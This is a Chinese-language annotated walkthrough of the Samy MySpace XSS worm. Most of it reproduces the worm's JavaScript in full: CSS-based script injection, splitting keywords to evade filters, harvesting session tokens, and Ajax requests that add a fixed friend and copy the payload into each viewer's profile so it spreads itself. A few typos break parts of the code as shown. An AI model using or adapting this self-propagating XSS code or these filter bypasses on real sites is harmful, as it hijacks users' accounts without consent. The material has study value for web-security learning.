Samy Worm
MySpace.com允许用户通过控制标签的style属性,samy构造css xss。
MySpace过滤了很多关键字,利用拆分法绕过。
div标签如下:
<div id = mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')"
expr=" "></div>
其中expr字符串的内容为如下javascript代码:
var B = String.fromCharCode(34);
var A = String.fromCharCode(39);
/*
fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串。
语法
String.fromCharCode(numX,numX,...,numX)
B=" A='
*/
function g ()
{
var C;
try
{
var D = document.body.createTextRange();
C = D.htmlText;
}
catch(e)
{
}
if(C)
{
return C;
}
else
{
return eval('document.body.inne'+'rHTML');
}
}
/*
createTextRange 只能在IE下工作
该函数用于取得该页面body的HTML
*/
function getData(AU)
{
M = getFromURL(AU,'friendID');
L = getFromURL(AU,'Mytoken');
}
/*
getFromURL函数在后面
*/
function getQueryParams()
{
var E = document.location.search;
var F = E.substring(1,E.length).split('&');
var AS = new Array();
for(var O=0; O < F.length; O++)
{
var I = F[O].split('=');
AS[I[0]] = I[1];
}
return AS;
}
/*
例:URL为:https://www.baidu.com/s?wd=c%2B%2B&rsv_spt=1
此时E = document.location.search = ?wd=c%2B%2B&rsv_spt=1
split('&')把一个字符串E以'&'为seprator分割成字符串数组F
split('=')把数组元素F[O]以'='为seprator分割为键值对,I[0]为键,I[1]为值
存入AS数组
*/
var J;
var AS = getQueryParams();
var L = AS['Mytoken'];
var M = AS['friendID'];
if(location.hostname=='profile.myspace.com')
{
document.location = 'http://www.myspace.com'+location.pathname+location.search;
}
else
{
if(!M)
{
getData(g());
}
main();
}
/*
修改document.location把用户带到一个新的地址
URL: http://china.huanqiu.com/photo/2016-07/2838944.html?from=bdtp#p=1
location.hostname = china.huanqiu.com
location.pathname = /photo/2016-07/2838944.html
location.search = ?from=bdtp
有关location对象,http://www.w3school.com.cn/jsref/dom_obj_location.asp
main()函数在后面
*/
function getClientFID()
{
return findIn(g(),'up_launchIC( '+A, A);
}
/*
findIn(BF,BB,BC)函数在后面
*/
function nothing()
{
}
function paramsToString(AV)
{
var N = new String();
var O = 0;
for(P in AV)
{
if(O > 0)
{
N += '&';
}
var Q = escape(AV[P]);
while(Q.indexOf('+') != -1)
{
Q = Q.replace('+', '%2B');//‘+’的URL编码'%2B'
}
while(Q.indexOf('&') != -1)
{
Q = Q.replace('&', '%26');//‘%’的URL编码'%26'
}
N += P + '=' + Q;
O++;
}
return N;
}
function httpSend(BH, BI, BJ, BK)
{
if(!J)
return false;
eval('J.onr'+'eadystatechange = BI');
j.open(BJ,BH,true);
if(BJ == 'POST')
{
J.setRequestHeader('Content-type', 'application/x-www-form-urllencoded');
J.setRequestHeader('Content-Length', BK.length);
}
J.send(BK);
return true;
}
/*
Ajax 发送
*/
function findIn(BF,BB,BC)
{
var R = BF.indexOf(BB) + BB.length;
var S = BF.substring(R, R+1024);
return S.substring(0, S.indexOf(BC));
}
/*
字符串BF中在BB和BC之间的部分
*/
function getHiddenParamter(BF, BG)
{
return findIn(BF, 'name='+B+BG+B+' value='+B, B);
}
function getFromURL(BF,BG)
{
var T;
if(BG == 'Mytoken')
{
T = B;
}
else
{
T = '&';
}
var U = BG + '=';
var V = BF.indexOf(U) + U.length;
var W = BF.substring(V, V+1024);
var X = W.indexOf(T);
var Y = W.substring(0,X);
return Y;
}
function getXMLObj()
{
var Z = false;
if(window.XMLHttpRequest)
{
try
{
Z = new XMLHttpRequest();
}
catch(e)
{
Z = false;
}
}
else
{
try
{
Z = new ActiveXObject('Msxml2.XMLHTTP');
}
catch(e)
{
try
{
Z = new ActiveXObject('Microsoft.XMLHTTP');
}
catch(e)
{
Z = false;
}
}
}
return X;
}
/*
Ajax
*/
var AA = g();
var AB = AA.indexOf('m'+'ycode');
var AC = AA.substring(AB, AB+4096);
var AD = AC.indexOf('D'+'IV');
var AE = AC.substring(0,AD);
var AF;
if(AE)
{
AE = AE.replace('jav'+'a', A+'jav'+'a');
AE = AE.replace('exp'+'r)', 'exp'+'r)'+A);
AF = 'but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>';
}
var AG;
function getHome()
{
if(J.readyState != 4)
return;
var AU = J.responseText;
AG = findIn(AU, 'P'+'rofileHeroes','</td>');
AG = AG.substring(61,AG.length);
if(AG.indexOf('samy')== -1)
{
if(AF)
{
AG+=AF;
var AR = getFromURL(AU,'Mytoken');
var AS = new Array();
AS['interestLabel'] = 'heroes';
AS['submit'] = 'Preview';
AS['interest'] = AG;
J = getXMLObj();
httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR, postHero, 'POST',
paramsToString(AS));
}
}
}
function postHero()
{
if(J.readyState != 4)
return;
var AU = J.responseText;
var AR = getFromURL(AU,'Mytoken');
var AS = new Array();
AS['interestLabel'] = 'heroes';
AS['submit'] = 'Submit';
AS['interest'] = AG;
AS['hash'] = getHiddenParamter(AU,'hash');
httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR, nothing, 'POST',
paramsToString(AS));
}
function main()
{
var AN = getClientFID();
var BH = '/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&MyTkoen='+L;
J = getXMLObj();
httpSend(BH,getHome,'GET');
xmlhttp2 = getXMLObj();
httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,
processxForm,'GET');
}
function processxForm()
{
if(xmlhttp2.readyState != 4)
return;
var AU = xmlhttp2.responseText;
var AQ = getHiddenParamter(AU, 'hashcode');
var AR = getFromURL(AU, 'MyToken');
var AS = new Array();
AS['hashcode'] = AQ;
AS['friendID'] = '11851658';
AS['submit'] = 'Add to Friends';
httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&MyToken='+AR,nothing,
'POST',paramsToString(AS));
}
function httpSend2(BH, BI, BJ, BK)
{
if(!xmlhttp2)
return falsa;
eval('xmlhttp2.onr'+'eadystatechange=BI');
xmlhttp2.open(BJ,BH,true);
if(BJ=='POST')
{
xmlhttp2.setRequestHeader('Content-type','application/x-www-form-urllencoded');
xmlhttp2.setRequestHeader('Content-Length', BK.length);
}
xmlhttp2.send(BK);
return true;
}